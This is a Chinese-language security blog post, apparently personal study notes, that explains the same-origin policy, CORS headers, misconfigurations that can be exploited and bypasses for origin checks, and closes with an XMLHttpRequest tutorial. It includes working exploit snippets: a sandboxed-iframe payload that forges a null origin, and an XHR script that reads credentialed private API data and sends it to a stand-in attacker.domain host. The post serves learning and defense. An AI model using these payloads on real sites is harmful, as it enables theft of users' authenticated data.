目录

刚入门的时候也学习过CORS,那个时候的对寻找漏洞的标准是:

1
修改`Origin:`,使得返回的HTTP字段中的`Access-Control-Allow-Origin: `出现你所输入的值,表明此网站存在CSOR漏洞

原理、利用、绕过都没有进一步了解。这次趁着实习的机会,好好的将CORS相关知识总结一下,并对一些基本原理进行一个梳理。

浏览器的同源策略

什么是同源

当两个页面是同源的时候,资源是可以直接进行交互的。但当两个页面来自不同的源却也想进行资源交互的话,就受到了同源策略的约束。那同源策略就是限制了从同一个源加载的文档或脚本如何与来自另一个源的资源进行交互。我们先来看看什么是同源。比如说有一个地址是:http://threezh1.com/hello.html,那对于下方的URL来说,同源还是不同源呢?

URL 是否同源 原因
http://threezh1.com/world.html 同源 只有路径不同
http://threezh1.com/temp/world.html 同源 只有路径不同
https://threezh1.com/temp/world.html 不同源 协议不同(http/https)
http://threezh1.com:8080/temp/world.html 不同源 端口不同
http://api.threezh1.com/temp/world.html 不同源 域名不同

从表格中我们得出,两个页面,如果端口和主机都相同,则我们称这两个页面同源。除此之外,在页面中用 about:blankjavascript: URL 执行的脚本会继承打开该 URL 的页面的源。(IE未将端口加入到同源策略的组成部分之中)

修改源

页面可能会因为某些原因而需要改变自身的源,那该怎么进行修改呢?页面可以通过将脚本的document.domain设置为当前域或者当前域的父域来进行修改源的操作,比如说,现在页面处在http://api.threezh1.com/temp/world.html,它现在的源是api.threezh1.com,如果我想要修改它的源为threezh1.com,也就是它的父域,就需要执行下面的语句:(Ps:修改源不能修改为除了自身域和父域之外的源)

1
document.domain = "threezh1.com"

跨源网络访问

刚刚说到,同源策略约束着不同源的资源交互。例如XMLHttpRequest和Fetch API的使用就遵循同源策略。这些交互大概分为以下三类:

前两项通常是被运行的,而跨域读通常是不被允许的,那该如何允许跨源访问呢?这时候CORS就发挥出它的作用了。

CORS

跨域资源共享(CORS) 是一种机制,通过定义额外的HTTP头来使浏览器能够允许不同源之间的资源交互。这些HTTP头包括哪些呢?

HTTP 请求首部字段

用于预检请求的HTTP请求首部字段(CORS预检请求详谈):

HTTP 响应首部字段

用于预检请求的HTTP响应首部字段:

一个简单的例子:

这里跳过了预检请求,并且数据包也简化了。

1
2
3
4
5
6
7
8
9
10
11
12
13
请求数据包:
POST /resources/post-here/ HTTP/1.1
Host: example.com
Origin: http://foo.example.com

[post data]


HTTP/1.1 200 OK
Access-Control-Allow-Origin: http://foo.example.com
Access-Control-Allow-Credentials: true

[result]

从上面的请求中可以看得出来,foo.example.com向example.com发送跨域请求,并且成功获取到数据。

具体HTTP请求与响应例子请参考:HTTP访问控制(CORS)

几种可能利用的CORS配置错误

这里主要记录一下关于CORS漏洞的几种情况以及利用方式,漏洞利用的最终目的是用户只要访问到一个攻击页面就可以获取到用的敏感信息。(还有可以进行缓存投毒,利用面太小就不作记录了) 因为搭建环境复现比较麻烦,这里就不复现一些情况的例子了,打算等在实际情况中遇到再来补充。

从Origin与Credentials值中得出是否可利用

“Access-Control-Allow-Origin” 值 “Access-Control-Allow-Credentials” 值 是否可利用
https://attacker.com true
null true
* true

当然,可以利用的情况不会那么简单。大部分时候是origin的域名部分被校验。所以需要总结一下CORS域名限制的几种绕过。

如何发送origin=NULL的请求

当遇到一个cors可用null值绕过时,用iframe配合data协议,就可以发送一个origin为null的请求。

1
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src='data:text/html,<script>var req=new XMLHttpRequest();req.onload=reqListener;req.open("get","http://127.0.0.1/test.html",true);req.withCredentials=true;req.send();function reqListener(){alert(this.responseText)};</script>'></iframe>

可绕过的域名校验

当域名校验不是特别严格时,可以通过以下几种方式进行绕过:

配合XSS进行利用

当同源网站中存在一个xss漏洞时,就可以直接使用xss包含cors的payload进行利用。

子域名托管

通过托管一个子域名,可以直接使用子域名或者通过降域来利用,这里只作了解。

Safari浏览器的特殊性质

当遇到这样的正则表达式所校验的域名时:(允许所有“target.local”的子域名的跨域请求,并且这些请求可以来自于子域名的任意端口)

1
^https?:\/\/(.*\.)?target.local([^\.\-a-zA-Z0-9]+.*)?

可以使用:http://www.target.local{.example.com进行绕过。只需要配置example.com所有子域名的DNS都解析到同一处即可。这种情况基本只出现在Safari浏览器当中。

其他可以利用的字符:

1
2
3
4
,&'";!$^*()+=`~-_=|{}%

// non printable chars
%01-08,%0b,%0c,%0e,%0f,%10-%1f,%7f

利用之XMLHttpRequest发包

方式一:直接作为参数传递到自己搭建的网址

1
2
3
4
5
6
7
8
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open("get","https://vulnerable.domain/api/private-data",true);
req.withCredentials = true;
req.send();
function reqListener() {
location="//attacker.domain/log?response="+this.responseText;
};

方式二:写入到当前网页的文本框

1
2
3
4
5
6
7
8
9
10
11
12
13
function cors() {  
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
if (this.status == 200) {
alert(this.responseText);
document.getElementById("demo").innerHTML = this.responseText;
}
};
xhttp.open("GET", "https://www.redacted.com/api/return", true);
xhttp.withCredentials = true;
xhttp.send();
}
cors();

利用之Ajax - jquery发包

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<script src="http://0535code.com/wp-content/themes/d8/js/jquery.js?ver=3.0"></script>
<script type="text/javascript">
var url ="http://0535code.com/"
//装入页面
$(window).load(function() {
start();
});
function start(){
$.ajax({
url:url,
type:"POST",
success:function(data){//ajax返回的数据
//var result = data;
//alert(result);
},
});
}
</script>

几种检验与利用的工具

漏洞修复

参考

附录

XMLHttpRequest

AJAX是异步的JavaScript和XML,就是使用XMLHttpRequest对象与服务器通信。那具体该怎么发送http请求呢?下面是一个简单的例子,对test.html发送GET请求,并获取其返回的内容后弹窗:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<button id="ajaxButton" type="button">Make a request</button>
<script>
(function() {
var httpRequest;
// click事件绑定
document.getElementById("ajaxButton").addEventListener("click", makeRequest);
function makeRequest() {
// 创建一个XMLHttpRequest对象
httpRequest = new XMLHttpRequest();
if (!httpRequest) {
alert("Fail to create an XMLHttpRequest!");
return false;
}
// 请求状态发生改变时的事件绑定
httpRequest.onreadystatechange = alertContents;
// 对test.html发送get请求
httpRequest.open("GET", "test.html");
// 发送数据,这里是Get请求,所以参数为空。如果是POST请求,参数内容就应该为POST数据
httpRequest.send()
}
function alertContents() {
try {
if (httpRequest.readyState == XMLHttpRequest.DONE) {
if (httpRequest.status == 200) {
alert(httpRequest.responseText);
} else {
alert("There are some problem with the reuqest!");
}
}
} catch(e) {
alert('Caught Exception: ' + e.description);
}
}
})();
</script>

上方只是一个简单的Get请求,那如果想要发送POST请求并传递一些参数该怎么做呢?来看下方这个例子(部分节选):

1
2
3
httpRequest.open('POST', url);
httpRequest.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
httpRequest.send('userName=' + encodeURIComponent(userName));

可以看到,类型从GET改成了POST,并且设置了一个http header。这里需要注意的是,在进行POST请求时,需要根据要发送的数据设置请求的MIME类型。一般为以下几种类型:

除了GET和POST请求的不同之外,XMLHTTPRequest.readyState有这么一些值代表着特别的含义:

更详细的内容请参考: Ajax & 使用 XMLHttpRequest